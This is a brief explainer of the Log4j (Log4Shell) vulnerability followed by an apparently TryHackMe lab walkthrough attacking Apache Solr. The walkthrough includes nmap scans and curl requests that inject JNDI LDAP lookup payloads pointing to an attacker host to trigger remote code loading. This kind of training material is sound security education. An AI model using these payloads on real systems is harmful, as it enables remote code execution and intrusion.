What Is Log4J Vulnerability?
Log4j is a Java package that is located in the Java logging systems. As it was vulnerable to illegitimate access by bad actors and hackers, it is being anticipated that it might have been used to access data. The bug makes several online systems built on Java vulnerable to zero-day attacks. If it is exploited by bad actors, it will allow remote code execution (RCE) and allow to download of malware via exposed servers. Since the bug affects companies and services that have millions of customers (and their data), it puts a myriad of servers and machines at risk.
Various reports suggest that majorly all the versions of the logging package have been affected. The versions range from 2.0-beta-9 to 2.14.1. While a fix has already been released by Apache, it will be difficult for all the servers that use the software to update to the latest patch
Try Hack Me Walkthrough:
CVE-2021–44228 Apache Solr 8.11.1
└─$ nmap solar.thm -p- -sC -sV
What service is running on port 8983? (Just the name of the software)
Apache SolrOpen the service running on port 8983 in your browser:
└─$ firefox http://solar.thm:8983
What is the -Dsolr.log.dir argument set to, displayed on the front page?
/var/solr/logsWhich file includes contains this repeated entry? (Just the filename itself, no path needed)
solr.logWhat “path” or URL endpoint is indicated in these repeated entries?
/admin/coresViewing these log entries, what field name indicates some data entrypoint that you as a user could control? (Just the field name)
params
└─$ curl 'http://solar.thm:8983/solr/admin/cores?foo=$\{jndi:ldap://10.8.154.49:9999\}'
What is the output of running this command? (You should leave this terminal window open as it will be actively awaiting connections)
Listening on 0.0.0.0:1389curl 'http://10.10.29.51:8983/solr/admin/cores?foo=$\{jndi:ldap://10.10.82.86:1389/Exploit\}'python3 -m http.server
What is the full path of the specific solr.in.sh file?
/etc/default/solr.in.sh